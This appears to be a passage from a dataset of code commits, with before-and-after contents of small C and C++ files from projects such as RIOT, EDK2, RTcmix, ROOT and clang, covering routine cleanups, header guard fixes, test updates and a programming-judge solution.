and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n\/**\n * @ingroup   tests\n * @{\n *\n * @file\n * @brief     execute libfixmath's unittests in RIOT\n *\n * @author    René Kijewski <rene.kijewski@fu-berlin.de>\n *\n * @}\n *\/\n\n#include <stdio.h>\n\nint main(void)\n{\n#include \"fix16_unittests.inc\"\n\n    puts(\"All tests executed.\");\n    return 0;\n}\n","subject":"Add message when tests are finished.","message":"tests\/libfixmath_unittests: Add message when tests are finished.\n","lang":"C","license":"lgpl-2.1","repos":"gebart\/RIOT,robixnai\/RIOT,jbeyerstedt\/RIOT-OTA-update,roberthartung\/RIOT,asanka-code\/RIOT,Lexandro92\/RIOT-CoAP,rousselk\/RIOT,arvindpdmn\/RIOT,immesys\/RiSyn,shady33\/RIOT,attdona\/RIOT,josephnoir\/RIOT,wentaoshang\/RIOT,immesys\/RiSyn,msolters\/RIOT,OTAkeys\/RIOT,kb2ma\/RIOT,authmillenon\/RIOT,RBartz\/RIOT,stevenj\/RIOT,gbarnett\/RIOT,bartfaizoltan\/RIOT,TobiasFredersdorf\/RIOT,wentaoshang\/RIOT,robixnai\/RIOT,asanka-code\/RIOT,khhhh\/RIOT,khhhh\/RIOT,alex1818\/RIOT,openkosmosorg\/RIOT,alex1818\/RIOT,rfuentess\/RIOT,RubikonAlpha\/RIOT,RBartz\/RIOT,mtausig\/RIOT,lazytech-org\/RIOT,kbumsik\/RIOT,gebart\/RIOT,thomaseichinger\/RIOT,avmelnikoff\/RIOT,plushvoxel\/RIOT,zhuoshuguo\/RIOT,herrfz\/RIOT,ThanhVic\/RIOT,beurdouche\/RIOT,OlegHahm\/RIOT,lazytech-org\/RIOT,ThanhVic\/RIOT,ks156\/RIOT,luciotorre\/RIOT,ks156\/RIOT,neumodisch\/RIOT,MarkXYang\/RIOT,FrancescoErmini\/RIOT,dkm\/RIOT,dhruvvyas90\/RIOT,centurysys\/RIOT,abkam07\/RIOT,haoyangyu\/RIOT,dailab\/RIOT,toonst\/RIOT,jasonatran\/RIOT,altairpearl\/RIOT,PSHIVANI\/Riot-Code,haoyangyu\/RIOT,rousselk\/RIOT,beurdouche\/RIOT,cladmi\/RIOT,gbarnett\/RIOT,kb2ma\/RIOT,jasonatran\/RIOT,openkosmosorg\/RIOT,MarkXYang\/RIOT,toonst\/RIOT,malosek\/RIOT,khhhh\/RIOT,kerneltask\/RIOT,rakendrathapa\/RIOT,msolters\/RIOT,OTAkeys\/RIOT,x3ro\/RIOT,jremmert-phytec-iot\/RIOT,kaspar030\/RIOT,Lexandro92\/RIOT-CoAP,watr-li\/RIOT,jbeyerstedt\/RIOT-OTA-update,ntrtrung\/RIOT,ntrtrung\/RIOT,rakendrathapa\/RIOT,backenklee\/RIOT,msolters\/RIOT,DipSwitch\/RIOT,avmelnikoff\/RIOT,alignan\/RIOT,JensErdmann\/RIOT,Hyungsin\/RIOT-OS,mtausig\/RIOT,dailab\/RIOT,kerneltask\/RIOT,avmelnikoff\/RIOT,brettswann\/RIOT,d00616\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,Lexandro92\/RIOT-CoAP,OlegHahm\/RIOT,lazytech-org\/RIOT,dailab\/RIOT,jfischer-phytec-iot\/RIOT,zhuoshuguo\/RIOT,MarkXYang\/RIOT,immesys\/RiSyn,jremmert-phytec-iot\/RIOT,mtausig\/RIOT,LudwigOrtmann\/RIOT,latsku\/RIOT,Osblouf\/RIOT,jbeyerstedt\/RIOT-OTA-update,attdona\/RIOT,rakendrathapa\/RIOT,ks156\/RIOT,luciotorre\/RIOT,backenklee\/RIOT,basilfx\/RIOT,ant9000\/RIOT,alignan\/RIOT,katezilla\/RIOT,biboc\/RIOT,hamilton-mote\/RIOT-OS,LudwigOrtmann\/RIOT,zhuoshuguo\/RIOT,Yonezawa-T2\/RIOT,RIOT-OS\/RIOT,l3nko\/RIOT,Hyungsin\/RIOT-OS,Lexandro92\/RIOT-CoAP,automote\/RIOT,haoyangyu\/RIOT,tfar\/RIOT,abkam07\/RIOT,shady33\/RIOT,herrfz\/RIOT,thiagohd\/RIOT,alignan\/RIOT,miri64\/RIOT,wentaoshang\/RIOT,kYc0o\/RIOT,centurysys\/RIOT,automote\/RIOT,abkam07\/RIOT,brettswann\/RIOT,JensErdmann\/RIOT,gautric\/RIOT,openkosmosorg\/RIOT,mfrey\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,wentaoshang\/RIOT,toonst\/RIOT,TobiasFredersdorf\/RIOT,RubikonAlpha\/RIOT,MonsterCode8000\/RIOT,Ell-i\/RIOT,jasonatran\/RIOT,kaspar030\/RIOT,bartfaizoltan\/RIOT,RIOT-OS\/RIOT,yogo1212\/RIOT,altairpearl\/RIOT,neiljay\/RIOT,RBartz\/RIOT,ant9000\/RIOT,stevenj\/RIOT,msolters\/RIOT,malosek\/RIOT,smlng\/RIOT,Josar\/RIOT,MohmadAyman\/RIOT,herrfz\/RIOT,katezilla\/RIOT,msolters\/RIOT,A-Paul\/RIOT,dhruvvyas90\/RIOT,centurysys\/RIOT,robixnai\/RIOT,tdautc19841202\/RIOT,kYc0o\/RIOT,arvindpdmn\/RIOT,ntrtrung\/RIOT,haoyangyu\/RIOT,adrianghc\/RIOT,daniel-k\/RIOT,A-Paul\/RIOT,binarylemon\/RIOT,hamilton-mote\/RIOT-OS,immesys\/RiSyn,rajma996\/RIOT,rakendrathapa\/RIOT,jremmert-phytec-iot\/RIOT,cladmi\/RIOT,OlegHahm\/RIOT,attdona\/RIOT,DipSwitch\/RIOT,OTAkeys\/RIOT,openkosmosorg\/RIOT,rfuentess\/RIOT,basilfx\/RIOT,basilfx\/RIOT,MohmadAyman\/RIOT,stevenj\/RIOT,RIOT-OS\/RIOT,hamilton-mote\/RIOT-OS,roberthartung\/RIOT,roberthartung\/RIOT,brettswann\/RIOT,tdautc19841202\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,neiljay\/RIOT,Yonezawa-T2\/RIOT,Yonezawa-T2\/RIOT,jasonatran\/RIOT,asanka-code\/RIOT,thiagohd\/RIOT,adjih\/RIOT,OTAkeys\/RIOT,Ell-i\/RIOT,rajma996\/RIOT,LudwigKnuepfer\/RIOT,toonst\/RIOT,rfuentess\/RIOT,d00616\/RIOT,rakendrathapa\/RIOT,basilfx\/RIOT,adrianghc\/RIOT,Osblouf\/RIOT,TobiasFredersdorf\/RIOT,asanka-code\/RIOT,BytesGalore\/RIOT,kaleb-himes\/RIOT,dhruvvyas90\/RIOT,plushvoxel\/RIOT,kaspar030\/RIOT,dhruvvyas90\/RIOT,kbumsik\/RIOT,daniel-k\/RIOT,PSHIVANI\/Riot-Code,thiagohd\/RIOT,attdona\/RIOT,MohmadAyman\/RIOT,EmuxEvans\/RIOT,brettswann\/RIOT,roberthartung\/RIOT,FrancescoErmini\/RIOT,robixnai\/RIOT,MarkXYang\/RIOT,neumodisch\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,brettswann\/RIOT,MohmadAyman\/RIOT,katezilla\/RIOT,kaspar030\/RIOT,zhuoshuguo\/RIOT,katezilla\/RIOT,rousselk\/RIOT,EmuxEvans\/RIOT,latsku\/RIOT,adrianghc\/RIOT,RIOT-OS\/RIOT,herrfz\/RIOT,authmillenon\/RIOT,tdautc19841202\/RIOT,Darredevil\/RIOT,backenklee\/RIOT,malosek\/RIOT,thomaseichinger\/RIOT,Osblouf\/RIOT,Ell-i\/RIOT,Hyungsin\/RIOT-OS,gautric\/RIOT,immesys\/RiSyn,mziegert\/RIOT,roberthartung\/RIOT,yogo1212\/RIOT,patkan\/RIOT,authmillenon\/RIOT,PSHIVANI\/Riot-Code,mziegert\/RIOT,syin2\/RIOT,adjih\/RIOT,robixnai\/RIOT,herrfz\/RIOT,patkan\/RIOT,neumodisch\/RIOT,LudwigOrtmann\/RIOT,daniel-k\/RIOT,LudwigKnuepfer\/RIOT,plushvoxel\/RIOT,jfischer-phytec-iot\/RIOT,ks156\/RIOT,PSHIVANI\/Riot-Code,avmelnikoff\/RIOT,aeneby\/RIOT,patkan\/RIOT,kb2ma\/RIOT,JensErdmann\/RIOT,mziegert\/RIOT,neumodisch\/RIOT,patkan\/RIOT,LudwigOrtmann\/RIOT,jremmert-phytec-iot\/RIOT,thomaseichinger\/RIOT,centurysys\/RIOT,thiagohd\/RIOT,lebrush\/RIOT,alex1818\/RIOT,jfischer-phytec-iot\/RIOT,watr-li\/RIOT,shady33\/RIOT,malosek\/RIOT,kaspar030\/RIOT,jremmert-phytec-iot\/RIOT,khhhh\/RIOT,arvindpdmn\/RIOT,openkosmosorg\/RIOT,rousselk\/RIOT,watr-li\/RIOT,DipSwitch\/RIOT,jfischer-phytec-iot\/RIOT,cladmi\/RIOT,marcosalm\/RIOT,josephnoir\/RIOT,gebart\/RIOT,openkosmosorg\/RIOT,PSHIVANI\/Riot-Code,kYc0o\/RIOT,luciotorre\/RIOT,ThanhVic\/RIOT,Yonezawa-T2\/RIOT,MonsterCode8000\/RIOT,patkan\/RIOT,asanka-code\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,RBartz\/RIOT,kaleb-himes\/RIOT,kb2ma\/RIOT,alignan\/RIOT,adjih\/RIOT,mfrey\/RIOT,dhruvvyas90\/RIOT,tdautc19841202\/RIOT,BytesGalore\/RIOT,altairpearl\/RIOT,Josar\/RIOT,RBartz\/RIOT,A-Paul\/RIOT,beurdouche\/RIOT,syin2\/RIOT,miri64\/RIOT,haoyangyu\/RIOT,shady33\/RIOT,binarylemon\/RIOT,msolters\/RIOT,lazytech-org\/RIOT,wentaoshang\/RIOT,PSHIVANI\/Riot-Code,BytesGalore\/RIOT,OlegHahm\/RIOT,luciotorre\/RIOT,Lexandro92\/RIOT-CoAP,marcosalm\/RIOT,bartfaizoltan\/RIOT,watr-li\/RIOT,cladmi\/RIOT,BytesGalore\/RIOT,abp719\/RIOT,Osblouf\/RIOT,zhuoshuguo\/RIOT,MohmadAyman\/RIOT,LudwigOrtmann\/RIOT,lebrush\/RIOT,asanka-code\/RIOT,smlng\/RIOT,daniel-k\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,josephnoir\/RIOT,tfar\/RIOT,jfischer-phytec-iot\/RIOT,altairpearl\/RIOT,ThanhVic\/RIOT,biboc\/RIOT,alignan\/RIOT,neiljay\/RIOT,thomaseichinger\/RIOT,thomaseichinger\/RIOT,Darredevil\/RIOT,Darredevil\/RIOT,smlng\/RIOT,neumodisch\/RIOT,TobiasFredersdorf\/RIOT,watr-li\/RIOT,luciotorre\/RIOT,beurdouche\/RIOT,yogo1212\/RIOT,ntrtrung\/RIOT,avmelnikoff\/RIOT,FrancescoErmini\/RIOT,miri64\/RIOT,Josar\/RIOT,BytesGalore\/RIOT,gbarnett\/RIOT,OTAkeys\/RIOT,smlng\/RIOT,gautric\/RIOT,latsku\/RIOT,lebrush\/RIOT,jasonatran\/RIOT,alex1818\/RIOT,RubikonAlpha\/RIOT,ThanhVic\/RIOT,x3ro\/RIOT,aeneby\/RIOT,dkm\/RIOT,daniel-k\/RIOT,Hyungsin\/RIOT-OS,JensErdmann\/RIOT,l3nko\/RIOT,robixnai\/RIOT,centurysys\/RIOT,daniel-k\/RIOT,marcosalm\/RIOT,authmillenon\/RIOT,Osblouf\/RIOT,adrianghc\/RIOT,luciotorre\/RIOT,dailab\/RIOT,centurysys\/RIOT,aeneby\/RIOT,lebrush\/RIOT,abkam07\/RIOT,MohmadAyman\/RIOT,d00616\/RIOT,Darredevil\/RIOT,bartfaizoltan\/RIOT,jbeyerstedt\/RIOT-OTA-update,yogo1212\/RIOT,tfar\/RIOT,syin2\/RIOT,rajma996\/RIOT,thiagohd\/RIOT,OlegHahm\/RIOT,A-Paul\/RIOT,mtausig\/RIOT,abp719\/RIOT,gautric\/RIOT,Josar\/RIOT,Yonezawa-T2\/RIOT,DipSwitch\/RIOT,RIOT-OS\/RIOT,JensErdmann\/RIOT,tfar\/RIOT,arvindpdmn\/RIOT,Lexandro92\/RIOT-CoAP,marcosalm\/RIOT,adrianghc\/RIOT,thiagohd\/RIOT,RubikonAlpha\/RIOT,FrancescoErmini\/RIOT,bartfaizoltan\/RIOT,patkan\/RIOT,zhuoshuguo\/RIOT,ant9000\/RIOT,rajma996\/RIOT,automote\/RIOT,gbarnett\/RIOT,kbumsik\/RIOT,ntrtrung\/RIOT,binarylemon\/RIOT,automote\/RIOT,backenklee\/RIOT,alex1818\/RIOT,gebart\/RIOT,biboc\/RIOT,attdona\/RIOT,backenklee\/RIOT,brettswann\/RIOT,smlng\/RIOT,immesys\/RiSyn,rousselk\/RIOT,d00616\/RIOT,dkm\/RIOT,abkam07\/RIOT,jremmert-phytec-iot\/RIOT,x3ro\/RIOT,beurdouche\/RIOT,mfrey\/RIOT,neiljay\/RIOT,gebart\/RIOT,MarkXYang\/RIOT,aeneby\/RIOT,MonsterCode8000\/RIOT,plushvoxel\/RIOT,hamilton-mote\/RIOT-OS,gbarnett\/RIOT,mfrey\/RIOT,latsku\/RIOT,kerneltask\/RIOT,x3ro\/RIOT,LudwigKnuepfer\/RIOT,MarkXYang\/RIOT,lazytech-org\/RIOT,adjih\/RIOT,miri64\/RIOT,dailab\/RIOT,d00616\/RIOT,kerneltask\/RIOT,kbumsik\/RIOT,ThanhVic\/RIOT,A-Paul\/RIOT,rajma996\/RIOT,Hyungsin\/RIOT-OS,stevenj\/RIOT,altairpearl\/RIOT,kYc0o\/RIOT,yogo1212\/RIOT,DipSwitch\/RIOT,hamilton-mote\/RIOT-OS,RBartz\/RIOT,toonst\/RIOT,authmillenon\/RIOT,mtausig\/RIOT,kaleb-himes\/RIOT,gautric\/RIOT,EmuxEvans\/RIOT,wentaoshang\/RIOT,marcosalm\/RIOT,basilfx\/RIOT,gbarnett\/RIOT,shady33\/RIOT,lebrush\/RIOT,binarylemon\/RIOT,Darredevil\/RIOT,altairpearl\/RIOT,syin2\/RIOT,automote\/RIOT,rajma996\/RIOT,stevenj\/RIOT,rfuentess\/RIOT,dhruvvyas90\/RIOT,alex1818\/RIOT,LudwigKnuepfer\/RIOT,EmuxEvans\/RIOT,x3ro\/RIOT,Ell-i\/RIOT,tdautc19841202\/RIOT,rakendrathapa\/RIOT,jbeyerstedt\/RIOT-OTA-update,miri64\/RIOT,FrancescoErmini\/RIOT,RubikonAlpha\/RIOT,neumodisch\/RIOT,abp719\/RIOT,herrfz\/RIOT,l3nko\/RIOT,LudwigOrtmann\/RIOT,haoyangyu\/RIOT,ant9000\/RIOT,authmillenon\/RIOT,l3nko\/RIOT,watr-li\/RIOT,kerneltask\/RIOT,JensErdmann\/RIOT,kb2ma\/RIOT,mfrey\/RIOT,dkm\/RIOT,mziegert\/RIOT,ant9000\/RIOT,mziegert\/RIOT,FrancescoErmini\/RIOT,rfuentess\/RIOT,biboc\/RIOT,latsku\/RIOT,LudwigKnuepfer\/RIOT,TobiasFredersdorf\/RIOT,Osblouf\/RIOT,Ell-i\/RIOT,syin2\/RIOT,kbumsik\/RIOT,josephnoir\/RIOT,abp719\/RIOT,rousselk\/RIOT,khhhh\/RIOT,plushvoxel\/RIOT,kaleb-himes\/RIOT,abkam07\/RIOT,neiljay\/RIOT,latsku\/RIOT,l3nko\/RIOT,ks156\/RIOT,abp719\/RIOT,ntrtrung\/RIOT,mziegert\/RIOT,automote\/RIOT,kYc0o\/RIOT,biboc\/RIOT,d00616\/RIOT,binarylemon\/RIOT,khhhh\/RIOT,RubikonAlpha\/RIOT,lebrush\/RIOT,MonsterCode8000\/RIOT,shady33\/RIOT,EmuxEvans\/RIOT,tdautc19841202\/RIOT,tfar\/RIOT,MonsterCode8000\/RIOT,arvindpdmn\/RIOT,Josar\/RIOT,attdona\/RIOT,bartfaizoltan\/RIOT,marcosalm\/RIOT,kaleb-himes\/RIOT,abp719\/RIOT,Yonezawa-T2\/RIOT,adjih\/RIOT,DipSwitch\/RIOT,katezilla\/RIOT,Darredevil\/RIOT,aeneby\/RIOT,dkm\/RIOT,malosek\/RIOT,binarylemon\/RIOT,l3nko\/RIOT,cladmi\/RIOT,malosek\/RIOT,arvindpdmn\/RIOT,MonsterCode8000\/RIOT,stevenj\/RIOT,EmuxEvans\/RIOT"}
{"commit":"e6dedf514f1b16cffd6f17c9615fc65745ed2a47","old_file":"MdePkg\/Include\/Library\/PeiServicesTablePointerLib.h","new_file":"MdePkg\/Include\/Library\/PeiServicesTablePointerLib.h","old_contents":"\/** @file\r\n  PEI Services Table Pointer Library services\r\n\r\n  Copyright (c) 2006, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __PEI_SERVICES_TABLE_POINTER_LIB_H__\r\n#define __PEI_SERVICES_TABLE_POINTER_LIB_H__\r\n\r\n\/**\r\n  The function returns the pointer to PEI services.\r\n\r\n  The function returns the pointer to PEI services.\r\n  It will ASSERT() if the pointer to PEI services is NULL.\r\n\r\n  @retval  The pointer to PeiServices.\r\n\r\n**\/\r\nEFI_PEI_SERVICES **\r\nEFIAPI\r\nGetPeiServicesTablePointer (\r\n  VOID\r\n  );\r\n\r\n\/**\r\n  The function set the pointer of PEI services immediately preceding the IDT table\r\n  according to PI specification.\r\n  \r\n  @param    PeiServicesTablePointer   The address of PeiServices pointer.\r\n**\/\r\nVOID\r\nEFIAPI\r\nSetPeiServicesTablePointer (\r\n  EFI_PEI_SERVICES ** PeiServicesTablePointer\r\n  );\r\n\r\n\/**\r\n  After memory initialization in PEI phase, the IDT table in temporary memory should \r\n  be migrated to memory, and the address of PeiServicesPointer also need to be updated  \r\n  immediately preceding the new IDT table.\r\n  \r\n  @param    PeiServices   The address of PeiServices pointer.\r\n**\/\r\nVOID\r\nEFIAPI\r\nMigrateIdtTable (\r\n  IN EFI_PEI_SERVICES  **PeiServices\r\n  );\r\n  \r\n#endif\r\n\r\n","new_contents":"\/** @file\r\n  PEI Services Table Pointer Library services\r\n\r\n  Copyright (c) 2006, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef __PEI_SERVICES_TABLE_POINTER_LIB_H__\r\n#define __PEI_SERVICES_TABLE_POINTER_LIB_H__\r\n\r\n\/**\r\n  The function returns the pointer to PEI services.\r\n\r\n  The function returns the pointer to PEI services.\r\n  It will ASSERT() if the pointer to PEI services is NULL.\r\n\r\n  @retval  The pointer to PeiServices.\r\n\r\n**\/\r\nEFI_PEI_SERVICES **\r\nEFIAPI\r\nGetPeiServicesTablePointer (\r\n  VOID\r\n  );\r\n\r\n\/**\r\n  The function set the pointer of PEI services immediately preceding the IDT table\r\n  according to PI specification.\r\n  \r\n  @param    PeiServicesTablePointer   The address of PeiServices pointer.\r\n**\/\r\nVOID\r\nEFIAPI\r\nSetPeiServicesTablePointer (\r\n  EFI_PEI_SERVICES ** PeiServicesTablePointer\r\n  );\r\n\r\n#endif\r\n\r\n","subject":"Remove MigrateIDT interface from PeiServiceTableLib library class.","message":"Remove MigrateIDT interface from PeiServiceTableLib library class.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@5791 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"ae056d53cc1566fdf3edd09d7e2612ae551c2a27","old_file":"source\/tools\/IAudioSinkCallback.h","new_file":"source\/tools\/IAudioSinkCallback.h","old_contents":"\/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ANDROID_AUDIOSINKCALLBACK_H\n#define ANDROID_AUDIOSINKCALLBACK_H\n\n#include <cstdint>\n\n\/**\n * Interface for a callback object that renders audio into a buffer.\n * This can be passed to an AudioSinkBase or its subclasses.\n *\/\nclass IAudioSinkCallback {\npublic:\n    IAudioSinkCallback() { }\n\n    virtual ~IAudioSinkCallback() = default;\n\n    typedef enum {\n        CALLBACK_ERROR = -1,\n        CALLBACK_CONTINUE = 0,\n        CALLBACK_FINISHED = 1,   \/\/ stop calling the callback\n    } audio_sink_callback_result_t;\n\n    virtual audio_sink_callback_result_t renderAudio(float *buffer, int32_t numFrames) = 0;\n};\n#endif \/\/ANDROID_AUDIOSINKCALLBACK_H\n","new_contents":"\/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ANDROID_IAUDIOSINKCALLBACK_H\n#define ANDROID_IAUDIOSINKCALLBACK_H\n\n#include <cstdint>\n\n\/**\n * Interface for a callback object that renders audio into a buffer.\n * This can be passed to an AudioSinkBase or its subclasses.\n *\/\nclass IAudioSinkCallback {\npublic:\n    IAudioSinkCallback() { }\n\n    virtual ~IAudioSinkCallback() = default;\n\n    typedef enum {\n        CALLBACK_ERROR = -1,\n        CALLBACK_CONTINUE = 0,\n        CALLBACK_FINISHED = 1,   \/\/ stop calling the callback\n    } audio_sink_callback_result_t;\n\n    virtual audio_sink_callback_result_t renderAudio(float *buffer, int32_t numFrames) = 0;\n};\n\n#endif \/\/ANDROID_IAUDIOSINKCALLBACK_H\n","subject":"Change protector macro to match the filename","message":"Change protector macro to match the filename\n\nTest: builds OK\nChange-Id: I9d2ac3ee871a3380b32aecda6380b1b2da1dbed0\n","lang":"C","license":"apache-2.0","repos":"google\/synthmark,google\/synthmark,google\/synthmark,google\/synthmark,google\/synthmark"}
{"commit":"aaab81c1bbe221302ab0931f0700265932ecc18d","old_file":"solutions\/uri\/1020\/1020.c","new_file":"solutions\/uri\/1020\/1020.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    int t, a = 0, m = 0, d = 0;\n\n    while (scanf(\"%d\", &t) != EOF) {\n        if (t >= 365) {\n            a = t \/ 365;\n            t %= 365;\n        }\n        if (t >= 30) {\n            m = t \/ 30;\n            t %= 30;\n        }\n\n        d = t;\n\n        printf(\"%d ano(s)\\n\", a);\n        printf(\"%d mes(es)\\n\", m);\n        printf(\"%d dia(s)\\n\", d);\n    }\n\n    return 0;\n}\n","subject":"Solve Age in Days in c","message":"Solve Age in Days in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"91ee9e96426e8d3eb74869cfc965306f6f5603c9","old_file":"src\/rtcmix\/command_line.c","new_file":"src\/rtcmix\/command_line.c","old_contents":"\/* command_line.c *\/\n\/* to  return command line arguments *\/\n#include \"..\/H\/ugens.h\"\n#include \"..\/Minc\/defs.h\"\n#include \"..\/Minc\/ext.h\"\nextern int aargc;\nextern char *aargv[];          \/* to pass commandline args to subroutines *\/\n\ndouble f_arg(float *p, short n_args)\n{\n\tdouble atof();\n\treturn (((int)p[0]) < aargc - 1) ? (atof(aargv[(int)p[0]])) : 0.0;\n}\n\ndouble i_arg(float *p, short n_args)\n{\n\tint atoi();\n\treturn (((int)p[0]) < aargc - 1) ? (atoi(aargv[(int)p[0]])) : 0;\n}\n\ndouble s_arg(float *p,short n_args,double *pp)\n{\n\tchar *name;\n\tint i1 = 0;\n\tif(((int)pp[0]) < aargc - 1) {\n\t\tname = aargv[(int)pp[0]];\n\t\ti1 = (int) strsave(name);\n\t}\n\treturn(i1);\n}\n\ndouble n_arg(float *p, short n_args)\n{\n\treturn(aargc);\n}\n\n","new_contents":"\/* command_line.c *\/\n\/* to  return command line arguments *\/\n#include <stdlib.h>\n#include <math.h>\n#include <ugens.h>\n#include \"..\/Minc\/ext.h\"\n\ndouble f_arg(float *p, short n_args)\n{\n\treturn (((int)p[0]) < aargc - 1) ? (atof(aargv[(int)p[0]])) : 0.0;\n}\n\ndouble i_arg(float *p, short n_args)\n{\n\treturn (((int)p[0]) < aargc - 1) ? (atoi(aargv[(int)p[0]])) : 0;\n}\n\ndouble s_arg(float *p,short n_args,double *pp)\n{\n\tchar *name;\n\tint i1 = 0;\n\tif(((int)pp[0]) < aargc - 1) {\n\t\tname = aargv[(int)pp[0]];\n\t\ti1 = (int) strsave(name);\n\t}\n\treturn(i1);\n}\n\ndouble n_arg(float *p, short n_args)\n{\n\treturn(aargc);\n}\n\n","subject":"Delete some extern vars that were in ugens.h. Other minor cleanups.","message":"Delete some extern vars that were in ugens.h. Other minor cleanups.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"a7ac1f5696d3f4e3e2136e86bf5f11a362d0f5e3","old_file":"tree\/ntuple\/v7\/test\/CustomStructLinkDef.h","new_file":"tree\/ntuple\/v7\/test\/CustomStructLinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class CustomStruct+;\n#pragma link C++ class DerivedA+;\n#pragma link C++ class DerivedA2+;\n#pragma link C++ class DerivedB+;\n#pragma link C++ class DerivedC+;\n\n#pragma link C++ class IAuxSetOption+;\n#pragma link C++ class PackedParameters+;\n#pragma link C++ class PackedContainer+;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class CustomStruct+;\n#pragma link C++ class DerivedA+;\n#pragma link C++ class DerivedA2+;\n#pragma link C++ class DerivedB+;\n#pragma link C++ class DerivedC+;\n\n#pragma link C++ class IAuxSetOption+;\n#pragma link C++ class PackedParameters+;\n#pragma link C++ class PackedContainer<int>+;\n\n#endif\n","subject":"Remove warning `Warning: Unused class rule: PackedContainer`","message":"[ntuple] Remove warning `Warning: Unused class rule: PackedContainer`\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root"}
{"commit":"0a5490e174e79614f4b8e98a8091ad3b86d043a2","old_file":"test\/Misc\/thinlto.c","new_file":"test\/Misc\/thinlto.c","old_contents":"\/\/ RUN: %clang_cc1 -flto=thin -emit-llvm-bc < %s | llvm-bcanalyzer -dump | FileCheck %s\n\/\/ CHECK: <FUNCTION_SUMMARY_BLOCK\n\/\/ CHECK-NEXT: <PERMODULE_ENTRY\n\/\/ CHECK-NEXT: <PERMODULE_ENTRY\n\/\/ CHECK-NEXT: <\/FUNCTION_SUMMARY_BLOCK\n\n__attribute__((noinline)) void foo() {}\n\nint main() { foo(); }\n","new_contents":"\/\/ RUN: %clang_cc1 -flto=thin -emit-llvm-bc < %s | llvm-bcanalyzer -dump | FileCheck %s\n\/\/ CHECK: <GLOBALVAL_SUMMARY_BLOCK\n\/\/ CHECK-NEXT: <PERMODULE\n\/\/ CHECK-NEXT: <PERMODULE\n\/\/ CHECK-NEXT: <\/GLOBALVAL_SUMMARY_BLOCK\n\n__attribute__((noinline)) void foo() {}\n\nint main() { foo(); }\n","subject":"Update test case for llvm summary format changes in D17592.","message":"Update test case for llvm summary format changes in D17592.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@263276 